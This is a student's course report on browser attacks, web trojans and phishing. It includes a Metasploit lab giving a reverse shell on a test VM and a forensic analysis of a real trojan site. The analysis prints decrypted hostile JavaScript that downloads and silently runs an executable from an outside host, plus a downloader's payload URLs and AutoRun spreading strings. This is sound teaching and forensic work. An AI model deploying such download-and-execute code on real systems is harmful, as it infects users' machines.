20199325 2019-2020-2 《网络攻防实践》第十二周作业
一.学习总结
web浏览器的技术发展与安全威胁
现代浏览器的基本结构
现代Web浏览器软件的内核引擎与可扩展机制
Web浏览安全威胁位置:
(1)针对传输网络的网络安全协议安全威胁
(2)针对Web浏览端客户平台的安全威胁
(3)针对Web浏览器软件及插件程序的渗透攻击威胁
(4)针对互联网用户的社会工程学攻击威胁
Web浏览环境及其安全威胁的层次模型
web浏览端的渗透攻击威胁——网页木马
网页木马安全威胁的产生背景
网页木马存在的技术基础——web浏览端安全漏洞
网页木马的机理分析
- 网页木马的定义特性
- 对网页木马机理的全方位分析与理解
- 网页木马的本质核心——浏览器渗透攻击
- 网页挂马机制
- 内嵌HTML标签
- 恶意Script脚本
- 内嵌对象链接
- ARP欺骗挂马
- 混淆机制
网页木马的检测与分析技术
- 基于特征码匹配的传统检测方法
- 基于统计与机器学习的静态分析方法
- 基于动态行为结果判定的检测分析方法
- 基于模拟浏览器环境的动态分析检测方法
- 网页木马检测分析技术综合对比
网页木马防范措施
应对网页木马最根本的防范措施与应对传统渗透攻击一样,提升操作系统与浏览器平台软件的安全性,可以采用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制,来确保所使用的计算机始终处于一种相对安全的状态;另外安装与实时更新一款优秀的反病毒软件也是应对网页木马威胁必不可少的环节。
网络钓鱼技术
- 网络钓鱼是社会工程学在互联网中广泛实施的一种典型的攻击方式,通过发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息(如用户名、口令、账号ID、PIN码或信用卡详细信息等)
- 网络钓鱼攻击的普遍技术流程:
- 攻击者扫描网段,寻找存有漏洞的服务器
- 服务器被攻陷,并安装一个Rootkit或口令保护的后门工具
- 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行
- 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件
- 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网页内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息
- 网络钓鱼攻击技术策略:
- 在指向假冒网站的链接中使用IP地址代替域名
- 注册发音相近或形似的DNS域名,并在上面架设假冒网站,期望用户不会发现他们之间的差异
- 在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站链接,从而使得用户的网站浏览器大多数HTTP连接是指向真实的目标网站,而仅有少数的关键连接(如提交敏感信息的页面)指向假冒的网站。如果用户的电子邮件客户端软件支持HTML内容的自动获取, 那么会在电子邮件被读取的时候自动地连接假冒网站,用户在浏览时也不会注意到少量的与恶意服务器的连接
- 对假冒网站的URL进行编码和混淆。IDN欺骗技术(IDN Spoofing) 就是这样的一种技术,它使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址,但实际上却指向一个完全不同的地址
- 企图攻击用户网页浏览器存在的漏洞,使之隐藏消息内容的实质。
- 将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实的网站
- 架设一个假冒网站,记录的口令信息。
- 通过恶意代码在受害者计算机上安装一个恶意游览器组手(Browser Helper Object),然后由其将受害者重定向到假冒的钓鱼网站
- 使用恶意代码去修改受害者计算机上的hosts文件,这将使得他们的网页浏览器在看起来像是访问目标机构的合法网站
- 网络钓鱼攻击的防范:
- 针对网络钓鱼过程中的电子邮件和即时通信信息欺诈,应该提高警惕性,不轻易打开电子邮件的链接。
- 充分利用浏览器软件、网络安全厂商软件所提供的反钓鱼网站功能特性
- 输入域名来访问,尽量使用硬件U盾来代替软证书或口令访问重要的金融网站
- 通过学习和修炼提升自己抵抗社会工程学攻击的能力
二.实践过程
1.动手实践——Web浏览器渗透攻击实验
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
所需环境:
- 攻击机:BT4 linux攻击机或Windows XP_Attacker攻击机,使用其中安装的Metasploit渗透攻击框架软件;
- 靶机:未打补丁的Windows靶机,可使用Windows 2KS靶机或者Windows XP靶机。
实验步骤:
- 选择使用Metasploit中的MS06_014渗透攻击模块(ie_createobject);
- 选择PYALOAD为任意远程shell连接
- 设置服务器地址和url参数,运行exploit,构造出恶意网页木马脚本;
- 在靶机环境中启动浏览器,验证与服务器的连通性,并访问恶意木马脚本url;
- 在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立的远程控制会话SEESION,在靶机上远程执行命令。
此次实验中,靶机windows XP 为192.168.200.4, 攻击机Kali为192.168.200.3。
首先我们在kali下的root
权限下通过msfconsole
打开meteploit
,使用漏洞use exploit/windows/brower/ie_createobject
, 通过show options
看到需要设置SRVHOST
、SRVPORT
和rhost
。
我们使用靶机访问标出的网页,可以看到此时靶机的浏览器出现了一串字符 。
最后通可以发现反向shell建立成功。
2.取证分析实践:剖析一个实际的网页木马攻击场景
内容:这个挂马网站现在已经无法访问,但蜜网课题组的成员保留了最初做分析时所有的原始文 件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/ 目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
问题:
- 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
- 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
- 从解密后的结果来看,攻击者利用了那些系统漏洞?
- 解密后发现了多少个可执行文件?其作用是什么?这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?
环境当中没有是start.html文件,看指导视频,是可以知道调用的是一个new09.htm的网站,内嵌的框架高度为0所以隐蔽。通过这个MD5的加密可以获得提到的两个文件的MD5加密名称
加密结果分别为:7f60672dcd6b5e90b6772545ee219bd3,23180a42a2ff1192150231b44ffdf3d3
分别去查看hashed文件夹当中的对应文件
通过这个调用js的文件可以看出t是通过xxtea加密并且再字符转化为16进制的,密钥是16进制的x73x63x72x69x70x74
可以通过还原找到密钥
密钥为script
通过指导书中软件Freshow对于源代码进行分析
根据代码里的url,可以发现这里又引用了三个js文件1.js
,b.js
和pps.js
和一个压缩包bd.cab
。
转义1.js当中的代码:
var url="http://down.18dd.net/bb/014.exe";try{var
xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open
("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\n
tuser.com";as.savetofile(path,2);as.close
();var
shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c
"+path,"","open",0)}catch(e){}
我们通过解密后的代码,可以看到这个js代码的主要作用是利用shell命令再18dd.net当中下载014.exe这个文件,估计应该是一个木马文件。
后续的两个js也都是一样的,除了1299644.js是一个统计的无关文件
剩下的三个js文件均都是不同的加密方式,但结果都是想要从18dd.net当中下载exe木马文件。
网站和JS当中都是有加密的,网站主要是MD5加密,使用网络上任意的MD5加解密网站即可
在JS当中使用到了BASE64和XXTEA加密方式,所以使用了FREshow这个工具,能够对于不同编码进行解密。pps当中是八进制解密,我选择的是将其转化为16进制然后再使用工具解密。
16进制转化字符网站:https://www.sojson.com/hexadecimal.html
从解密后的源码当中,我们可以看到
var as=ado.createobject("Adodb.Stream","")}
,
var storm=new ActiveXObject("MPS.StormPlayer");
,
var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");
var obj=new ActiveXObject("BaiduBar.Tool");
分别对微软数据库访问对象、暴风影音、PPStream和百度搜霸的漏洞进行渗透攻击,这些都是用户常用的一些软件。
微软数据库攻击利用了MS06-014安全漏洞
暴风影音攻击利用了CVE-2007-4816
安全漏洞以及暴风影音2 mps.dll
组件多个缓冲区溢出漏洞
PPStream攻击利用了
CVE-2007-4748安全漏洞以及
PPStream堆栈溢出
百度搜霸攻击利用了CVE-2007-4105
安全漏洞和百度搜霸AactiveX
控件远程代码执行漏洞。
可以发现有4个可执行文件,分别是014.exe
,bd.exe
,bf.exe
和pps.exe
对于文件夹当中的exe文件,进行MD5的解密可以的到
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
查看可执行文件的加壳情况,发现用 Pascal语言的Delphi 写的
接下来使用反汇编工具 W32DAsm 反汇编这个程序
" goto try"
"#32770"
"(T@"
",T@"
".1"
":AutoRun.inf"
":try"
"[AutoRun]
open="
"program filesinternet explorerIEXPLORE.EXE"
"0813"
"3烂怱VQ嬝媠咑u3离&j"
"60000"
"advapi32.dll"
"Alletdel.bat"
"AutoRun.inf"
"Button"
"ChangeServiceConfig2A"
"ChangeServiceConfig2W"
"cmd /c date "
"cmd /c date 1981-01-12"
"del ""
"del %0"
"drivers/klif.sys"
"Error"
"FPUMaskValue"
"http://down.18dd.net/kl/0.exe"
"http://down.18dd.net/kl/1.exe"
"http://down.18dd.net/kl/10.exe"
"http://down.18dd.net/kl/11.exe"
"http://down.18dd.net/kl/12.exe"
"http://down.18dd.net/kl/13.exe"
"http://down.18dd.net/kl/14.exe"
"http://down.18dd.net/kl/15.exe"
"http://down.18dd.net/kl/16.exe"
"http://down.18dd.net/kl/17.exe"
"http://down.18dd.net/kl/18.exe"
"http://down.18dd.net/kl/19.exe"
"http://down.18dd.net/kl/2.exe"
"http://down.18dd.net/kl/3.exe"
"http://down.18dd.net/kl/4.exe"
"http://down.18dd.net/kl/5.exe"
"http://down.18dd.net/kl/6.exe"
"http://down.18dd.net/kl/7.exe"
"http://down.18dd.net/kl/8.exe"
"http://down.18dd.net/kl/9.exe"
"IE 执行保护"
"IEXPLORE.EXE"
"IE执行保护"
"if exist ""
"Kernel32.dll"
"NoDriveTypeAutoRun"
"ntdll.dll"
"QueryServiceConfig2A"
"QueryServiceConfig2W"
"S@"
"serdst.exe"
"shellAutocommand="
"shellexecute="
"SOFTWAREBorlandDelphiRTL"
"SoftwareMicrosoftWindowsCurrentVersionPoli"
"Telephotsgoogle"
"U嬱兡餝VW3繳h訹@"
"U嬱筧"
"U嬱伳�SVW?�"
"ZwUnmapViewOfSection"
"刌@"
"銼@"
"婦$鰼"
"媩$(?"
"燬@"
"擮@"
"确定"
"媆$?搡?婼婥t?燖"
"瑞星卡卡上网安全助手 - IE防漏墙"
"为即插即用设备提供支持"
"圷@"
"允许"
"允许执行"
3.Web浏览器渗透攻击对抗实验
通过分析给的网络记录文件,回答下列问题:
- 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
- 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
- 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
- 请给出攻击者执行攻击动作的概要描述。
- 攻击者引入了哪些技巧带来了困难。
- 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
- shellcode执行了哪些操作?比较他们之间MD5的差异?
- 在攻击场景中有二进制可执行代码参与吗?目的是什么?
三.学习中遇到的问题及解决
问题一:个别编码的解密最开始的时候看不出来
回答一:通过不断百度,查找编码的特征类型,有的可以直接通过源码看出来
四.实践总结
这次的实验综合起来了,实践很多很复杂,需要知识整合很多,所以需要更多的掌握之前的知识,后面还有加密和混淆,不是特别的熟悉,需要多加练习。